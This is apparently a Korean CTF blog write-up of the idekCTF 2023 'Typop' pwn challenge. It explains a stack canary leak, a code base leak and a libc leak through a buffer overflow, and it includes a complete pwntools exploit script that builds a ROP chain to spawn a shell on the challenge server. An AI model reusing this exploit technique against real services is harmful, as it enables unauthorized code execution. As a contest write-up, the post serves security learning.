2023. 1. 16. 16:11ㆍCTF
목차
01) PWN) Typop
02) OSINT) Osint Crime Confusion 1~4
2023.01.15~16
48시간동안 진행된 idekCTF.
This year, our event features intermediate-to-advanced binary exploitation (pwn), reverse-engineering, cryptography, web hacking, and miscellaneous math/programming challenges.
대회 관계자는 idekCTF를 중~고급 문제로 이루어진 CTF라고 소개했다.
다른 분야의 문제들은 거의 보지 못했으나 pwn 문제 난이도로 보았을 때 대회 의도에 맞는 난이도로 구성된 것 같다.
대회 참가 팀 수는 대략 850팀이었고, CTF 최종 순위는 67위를 기록하였다.
PWN) Typop (408 pts)
pwn 분야에서 가장 난이도가 낮은 문제였다.
while문을 통해 getFeedback으로 여러 번 돌아갈 수 있다. getFeedback함수에는 두번의 입력이 있고 두 입력 모두 bof가 발생한다.
이를 이용하여 순차적으로 canary leak, code leak, libc leak을 통해 쉘을 획득할 수 있다.
canary leak 방법을 안다면 쉽게 풀 수 있다.
canary는 \x00으로 시작하여 bof가 발생하지 않는다면 알아낼 수 없다.
그러나 bof를 통해 \x00자리를 \n 또는 다른 것으로 채우고 스택이 출력되도록 하면 printf는 null바이트가 있을 때까지 출력하기 때문에 canary 이후까지 출력된다.
한번 canary를 leak했다면 다시 getFeedback함수로 돌아가 바로 code leak 이 가능하다.
code주소를 이용하여 rdi를 got주소로 조작하고 puts함수를 실행하면 libc leak이 가능하기 때문에 쉽게 쉘을 획득할 수 있다.
++)
풀이에는 이용되지 않았으나 문제에는 win 함수가 있고 해당 함수의 인자에 순서대로 f, l, a를 입력해야 flag.txt를 읽어올 수 있었다.
아래 더보기를 누르면 win 함수 용도에 대한 나의 예측과 출제자의 실제 의도를 확인할 수 있다.
확실하진 않으나 win함수를 보아 출제자의 의도가 다음과 같다고 생각하였다.
canary 조절 후 rbp 주소를 canary leak 시 같이 leak된 스택주소를 이용해서 조작하여 rbp-4a (filename) 위치를 y 입력 시 저장되는 스택 주소로 덮고, 스택에 fla가 순서대로 들어가게 한 뒤 rip를 win함수로 조작하여 풀 수 있다.
rbp를 조작하였을 때 exploit이 가능한지는 확인해보지 않았으나, 출자제의 의도는 csu_gadget을 이용한 풀이라고한다. 가젯이 부족할 때 csu 동작 과정 일부를 가젯으로써 이용하여 인자조절이 가능한 경우가 있다고한다.
꽤 오래 전부터 알려진 기법임에도 불구하고 아직 관련 문제를 접해본 적이 없었다.
csu의 자세한 동작과 응용법이 생소하였으나, 이 문제를 통해 새로운 기법을 알게되었다.
그러나 굳이 쉘 획득이 간단하게 가능한 문제를 flag 만 읽도록 더 어렵게 풀 이유가 없다고 생각하였으므로 libc의 주소를 구해 풀었다.
또한 code leak 없이도 첫 입력 시 2바이트까지 덮을 수 있기 때문에 1/16확률의 브루트 포싱으로 win함수로 rip를 조절할 수도 있다.
- ex.py
#!/usr/bin/python3
# MIsutgaRU
from pwn import *
s = remote("typop.chal.idek.team", 1337)
#s = process("./chall")
# canary leak
s.sendlineafter(b"?", b"y")
s.sendlineafter(b"?", b"y"*10)
s.recvuntil(b"y\n")
canary = u64(b"\x00"+s.recv(7))
stack = u64(s.recv(6).ljust(8, b"\x00"))
log.info("canary: "+ str(hex(canary)))
log.info("stack: "+ str(hex(stack)))
ret_control = b"y"*10 # dummy (stack)
ret_control += p64(canary)
s.sendlineafter(b"feedback?", ret_control)
pause()
# code leak
s.sendlineafter(b"?", b"y")
s.sendlineafter(b"?", b"y"*25)
s.recvuntil(b"y\n")
codebase = u64(s.recv(6).ljust(8, b"\x00")) - 0x1447
log.info("codebase: "+ str(hex(codebase)))
# libc leak
libcleak = b"y"*8 # dummy (rbp)
libcleak += p64(codebase + 0x14d3) # pop rdi ; ret
libcleak += p64(codebase + 0x3f90) # puts_got
libcleak += p64(codebase + 0x10d0) # puts_plt
libcleak += p64(codebase + 0x1410) # back to main
s.sendlineafter(b"feedback?", ret_control + libcleak)
s.recvuntil(b"\n")
libcbase = u64(s.recv(6).ljust(8, b"\x00")) - 0x84420
log.info("libcbase: "+ str(hex(libcbase)))
# call system("/bin/sh")
call_system = b"y"*8 # dummy (rbp)
call_system += p64(codebase + 0x14d3) # pop rdi ; ret
call_system += p64(libcbase + 0x1b45bd) # /bin/sh
call_system += p64(codebase + 0x101a) # ret (stack align)
call_system += p64(libcbase + 0x52290) # system
s.sendlineafter(b"?", b"y")
s.sendlineafter(b"?", b"y")
s.sendlineafter(b"feedback?", ret_control + call_system)
s.interactive()
idek{2_guess_typos_do_matter}
pwn 분야의 Sprinter 문제와 Relativity는 두 문제 다 fsb에 대한 문제였다.
Sprinter문제는 기본적으로 n을 사용할 수 없으나 %c와 \x00 입력을 이용하여 n검사와 길이 검사를 우회할 수 있다.
그러나 어느 주소를 어떻게 덮을지 찾지 못해 시간 내로 풀지 못했다.
이번 주 내로 푼다면 라이트업으로 추가 할 예정이다.
Relativity은 %n이 사용 가능하고 got overwrite가 가능하여 스택에 적절한 주소를 변조하고 만들어가며 풀 수 있다.
팀원이 푼 문제이므로 자세한 라이트업은 생략한다.
'CTF' 카테고리의 다른 글
2023 DiceCTF) Write-up (PWN/ bop) (0) | 2023.02.06 |
---|---|
2023 idekCTF) Write-up #2 (OSINT/ Osint Crime Confusion 1~4) (0) | 2023.01.16 |
2023 IrisCTF) Write-up #4 (Foren / babyforens) (0) | 2023.01.12 |
2023 IrisCTF) Write-up #3 (Misc/ Name that song , 2, Host Issues) (0) | 2023.01.12 |
2023 IrisCTF) Write-up #2 (PWN/ baby?socat, Michael Bank) (0) | 2023.01.12 |